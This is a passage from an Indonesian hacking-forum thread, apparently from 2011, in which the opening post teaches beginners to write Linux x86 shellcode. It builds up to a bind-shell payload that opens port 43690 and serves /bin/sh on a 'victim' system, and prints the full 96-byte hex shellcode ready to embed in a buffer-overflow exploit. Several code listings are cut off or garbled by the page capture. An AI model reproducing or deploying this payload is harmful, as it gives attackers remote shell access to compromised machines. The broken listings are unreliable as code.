Home General Computer Multimedia Business Lounge
|
[learn]shellcode exploit for beginner
|
|
04-09-2011, 11:00 AM
(This post was last modified: 04-09-2011 11:03 AM by schumbag.)
|
|||
|
|||
|
[learn]shellcode exploit for beginner
haaaaaaaaaaaaaai pakabar semwaaa
wah lama gk jumpa iia ![]() terakhir login di sini kalau gk salah,sekitar 8hari lalu neeh ![]() seperti kata peri cantik nofia fitri "Hacking HELL,YEAH!!!" Lanjut.. Sebelum melangkah lebih jauh perlu saya jelaskan, bahwa sebenarnya shell code saja tidak dapat berdiri sendiri tanpa ada pemicu a.k.a exploit dari suatu vuln yang dijalankan, namun disini saya akan tidak akan membahas bagaimana cara membuat exploit, dikarenakan agar tidak melebar dari pokok bahasan a.k.a OOT juga karena di internet banyak sekali yang membahas tentang exploit itu sendiri, just google it! //Tools Baiklah, kembali lagi ke topik... Untuk membuat shell code ini, anda memerlukan : [1] *nix varians... (dengan dukungan kernel 2.6.x) [2] gcc compatible (biasanya sudah ada dalam tiap distro linux) [3] nasm (bisa unduh di http://sourceforge.net/project/nasm) [4] sproc.c (modifikasi dari punya cyb3rh3b )Sebagai saran, agar tidak perlu repot-repot, semua perlengkapan diatas bisa anda peroleh di dalam security distro linux "Backtrack 4 Final" seperti yang saya gunakan pada tutorial kali ini. - Untuk kode s-proc.c milik cyb3rh3b bisa didapatkan pada blognya di cyb3rh3b.wordpress.com cari artikel tentang shell code, namun disana mungkin ada sedikit kesalahan yang perlu dikoreksi.. ![]() - sedangkan untuk kode sproc-modifikasi yang saya pakai, adalah sebagai berikut : pake C ![]() [ root@bt ] $ cat sproc.c Code: /*[ root@bt ] $ gcc -o sproc sproc.c [ root@bt ] $ ./sproc Oke semua perlengkapan saya anggap telah siap, sekarang tinggal membuat adonan doank... //Proof Of Concept Berikut ini langkah-langkah'nya... 1. Tulis kode dalam bahasa assembly, simpan dalam namacode.S 2. Compile kode tersebut dengan nasm >> $ nasm -o contoh contoh.S 3. Untuk menjalankan atau mengetest kode >> $ ./sproc -x contoh 4. Untuk mengetahui dalam bentuk shellcode >> $ ./sproc -c contoh contoh sederhana adalah sebuah shell code yang akan mencetak kata "gogodevilzc0de" yakni berupa keluaran pada layar monitor (STDOUT) [ root@bt ] $ cat cetak.S BITS 32 Code: xor eax,eax ) akan tampaklah kodenya sebagai berikut..[ root@bt ] $ cat cetak.c Code: #include <stdio.h>Mungkin anda berpikir, mengapa perlu tahu code C'nya segala..? inget sob, sebelum menulis langsung dalam bahasa assembly, kan ada baiknya kita menulis dalam bahasa C dulu, ya kecuali anda memang bener-bener expert dalam assembly atau bahkan ahli di reverse engineering? Selain itu shell code banyak memanfaatkan syscall yang sangat familier dengan bahasa C, kode diatas menggunakan syscall write. Nah, jadi paham kan, mengapa untuk mencetak saja tidak memakai fungsi "printf" seperti biasa? Baiklah untuk mengubah kode assembly diatas menjadi shellcode kita lakukan langkah pertama : [ root@bt ] $ nasm -o cetak cetak.S nah, sudah tercompile, sekarang kita convert ke dalam bentuk shell-code, tapi seblumnya kita test dulu apakah sudah berjalan dengan baik? Code: [ root@bt ] $ ./sproc -x cetakanda memang hacker yang baik sekali kalau begitu. masa' setelah berhasil mengexploitasi system korban, anda hanya ingin memberikan pesan "gogodevilzc0de" di monitor saja? (bisa jadi sih,, )//camera.....rool and action!! Dibawah ini ada contoh kode yang akan membuat system target membuka port sesuai dengan keinginan kita, jadi nanti kita kan lebih mudah mengexploitasinya lebih dalam.. [ root@bt ] $ cat bukaport.S Code: BITS 32kode assembly diatas akan membuka port 43690 pada system korban, dan tujuan lainnya adalah setelah kita berhasil membuka koneksi dengan korban, maka kita akan dilempar kesebuah shell.. perhatikan lagi bait terakhir kode diatas.. Code: push edxsekarang kita jalankan kodennya ![]() [ root@bt ] $ nasm -o bukaport bukaport.S o0o iia, jangan lupa berubah jadi r00t dulu ya (masalah buka-bukaan port mah, gak cukup pake privelege user biasa) [ root@bt ] # ./sproc -x bukaport Siap beraksi bozz.... apa yang terjadi? ![]() untuk mengetahuinya, jalankan program pemantau port, lihat apa yang terjadi pada system anda.. kemudian untuk melihat bagaimana dalam wujud shellcodenya.. [ root@bt ] $ ./sproc -c bukaport * The following shellcode is 96 bytes long: */ char shellcode[] = "\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1" "\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xaa\x02" "\xaa\xaa\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3" "\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0\x66" "\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd" "\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd" "\x80\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; Dari hasil shellcode diatas, maka nantinya bisa disisipkan pada exploit (buffer overflow) sebagai finalizing dari penestrasi yang dilakukan... (untuk tutorial buffer overflow,bisa baca papersnya adek cantik kita putri sitasari yang manis,imut,lucu dan menggemaskan fufufufu ^^v) dunlutny di sini http://www.exploit-db.com/download_pdf/16115 Sekian, jika ada waktu mungkin akan dilanjutkan dengan bagian selanjutnya, tentang penerapan shell code pada teknik yang lain.. // Referensi [1] echo-zine issue 14 [2] http://cyberheb.wordpress.com/ [3] http://google.com/ |
|||
Reputed by : civo(+1) |
|
04-09-2011, 11:07 AM
|
|||
|
|||
|
RE: [learn]shellcode exploit for beginner
:mantab ..ijin buat
omz...sekalian ane arsip nih tutornya ![]()
|
|||
|
04-09-2011, 11:23 AM
|
|||
|
|||
|
RE: [learn]shellcode exploit for beginner
mantep,langsung di praktekkan ,ijin plajari om,tp nix variannya apa gak bisa klo ngdukung kernel slaen itu om?
|
|||
|
04-09-2011, 11:25 AM
|
|||
|
|||
|
RE: [learn]shellcode exploit for beginner
sadis yeee..wkwkwkkw
|
|||
|
04-09-2011, 11:26 AM
|
|||
|
|||
RE: [learn]shellcode exploit for beginner
(04-09-2011 11:23 AM)white_newbie Wrote: mantep,langsung di praktekkan ,ijin plajari om,tp nix variannya apa gak bisa klo ngdukung kernel slaen itu om? [1] *nix varians... (dengan dukungan kernel 2.6.x) (04-09-2011 11:07 AM)civo Wrote: :mantab ..ijin buat silahkan om kalau ada yang gk ngerti coba diskusikan di sini
|
|||
|
04-09-2011, 11:37 AM
|
|||
|
|||
| RE: [learn]shellcode exploit for beginner | |||
|
04-09-2011, 11:40 AM
|
|||
|
|||
|
RE: [learn]shellcode exploit for beginner
hehe,sorry om salah pngrtian tadi,untung msh lengket nih bektrek di HD ,klo pke ubntu susah juga harus nyari dlu prlngkapannya,tq om,lgsung tkp
![]()
|
|||
|
04-09-2011, 07:28 PM
|
|||
|
|||
RE: [learn]shellcode exploit for beginner
![]() om turun gunung ![]() Ko lama amat buat threadnye
|
|||
|
04-20-2011, 12:44 PM
(This post was last modified: 04-20-2011 12:44 PM by schumbag.)
|
|||
|
|||
RE: [learn]shellcode exploit for beginner
(04-09-2011 11:25 AM)chaer.newbie Wrote: sadis yeee..wkwkwkkw sadis seperti lirikan mu ![]() (04-09-2011 07:28 PM)n0wn Wrote: laaaaaaaaaaah kan ente request di fb dah ada 7hari masa seminggu lama kan ane juga ngurusin kerjaan (04-09-2011 11:37 AM)cuma-cuma Wrote:(04-09-2011 11:25 AM)chaer.newbie Wrote: sadis yeee..wkwkwkkw kejam seperti belaianmu ![]() (04-09-2011 11:40 AM)white_newbie Wrote: hehe,sorry om salah pngrtian tadi,untung msh lengket nih bektrek di HD ,klo pke ubntu susah juga harus nyari dlu prlngkapannya,tq om,lgsung tkp monggo om silahkan ane bisany cm segitu masih baru belajar juga soalny
|
|||
|
04-20-2011, 02:20 PM
|
|||
|
|||
|
RE: [learn]shellcode exploit for beginner
wahhhhhhh
lom nyampek otak ku om ntr ane private di server irc yow om |
|||
|
« Next Oldest | Next Newest »
|
| Topic Tools | ||||||
| ||||||
| Users Browsing |
| 1 Guest(s) |



wah lama gk jumpa iia 

)

)



omz...sekalian ane arsip nih tutornya 




kan ane juga ngurusin kerjaan
ane bisany cm segitu






